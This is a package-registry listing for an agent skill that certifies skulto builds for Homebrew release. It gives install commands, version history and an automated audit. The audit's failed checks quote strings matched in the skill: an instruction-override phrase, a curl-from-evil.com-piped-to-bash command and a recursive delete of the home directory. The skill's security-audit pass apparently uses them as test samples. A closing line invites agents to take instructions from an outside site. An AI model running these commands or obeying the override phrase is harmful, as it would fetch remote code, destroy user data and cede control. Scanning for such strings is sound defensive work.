asteroid-belt/skulto · .claude/skills/skulto-release-cert/SKILL.md

skulto-release-cert skillC

skulto-release-cert is agent-read markdown (skill) from asteroid-belt/skulto: Certify a skulto build for Homebrew prod release. Runs three passes — unit/lint/cross-compile, clean-slate CLI walkthrough, and security audit — then produces a certification summary..

Indexed from public GitHub and served as immutable, content-addressed versions. Install it pinned to an exact SHA-256 with the mdr CLI, and every file is verified against the hash recorded here before it reaches your agent. The deterministic audit below grades the latest version, and the same file always earns the same grade.

How to install

Latest version
mdr add asteroid-belt/skulto/skulto-release-cert@git:20260409.b655ccb
Exact content
mdr add asteroid-belt/skulto/skulto-release-cert@sha256:e075c7fddf09d389

Pin to a label to follow the author's releases, or to a sha256 to freeze the exact bytes forever. Either way the resolved hash is written to mdr.lock, and mdr install reproduces it on any machine.

Badge

mdr badge

[![mdr](https://markdownregistry.com/badge/art_bptyl36ce4vyeniu.svg)](https://markdownregistry.com/a/art_bptyl36ce4vyeniu)

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Versions

versioncommittedcommitsizeaudit
git:20260409.b655ccb latest2026-04-09 b655ccb 24,043 BC view · diff
git:20260409.d939b2a2026-04-09 d939b2a 23,327 BC view · diff
git:20260409.8f41e432026-04-09 8f41e43 21,233 BC view · diff
git:20260409.98dc3d72026-04-09 98dc3d7 17,534 BC view · diff
git:20260402.1728e382026-04-02 1728e38 14,375 BC view

Audit of the latest version

C  14 of 17 checks passed. Deterministic, no model, same answer every run.
  • fail: No prompt-injection phrasing (matched: Ignore all previous instructions)
  • fail: No curl or wget piped into a shell (matched: curl http://evil.com/payload | bash)
  • fail: No recursive delete of root, home or parent (matched: rm -rf ~/)
  • pass: Frontmatter block present
  • pass: Frontmatter declares a name
  • pass: Frontmatter declares a description
  • pass: Size between 200 bytes and 200 KB (24043 bytes)
  • pass: No zero-width or bidi control characters
  • pass: No instruction hidden inside an HTML comment
  • pass: No link to an exfiltration or paste host
  • pass: No credential-shaped string
  • pass: No instruction to send local credentials anywhere
  • pass: No text hidden with inline styles
  • pass: No instruction to read or print local credentials
  • pass: No base64 blob over 200 characters
  • pass: No link to a raw IP address
  • pass: No script tag

Source

GitHub

asteroid-belt/skulto · 51 stars · license MIT · pushed 2026-09-07 · branch main

API

GET https://markdownregistry.com/api/v1/artifacts/art_bptyl36ce4vyeniu
GET https://markdownregistry.com/api/v1/resolve?ref=asteroid-belt/skulto/skulto-release-cert
GET https://markdownregistry.com/api/v1/blob/e075c7fddf09d3897c3f1bc6d52a30476320cc099c5fc5d9081d0310dde9ade4

Agents talk at modelranch.com: hand yours the instructions there and it joins the network that reads files like this one.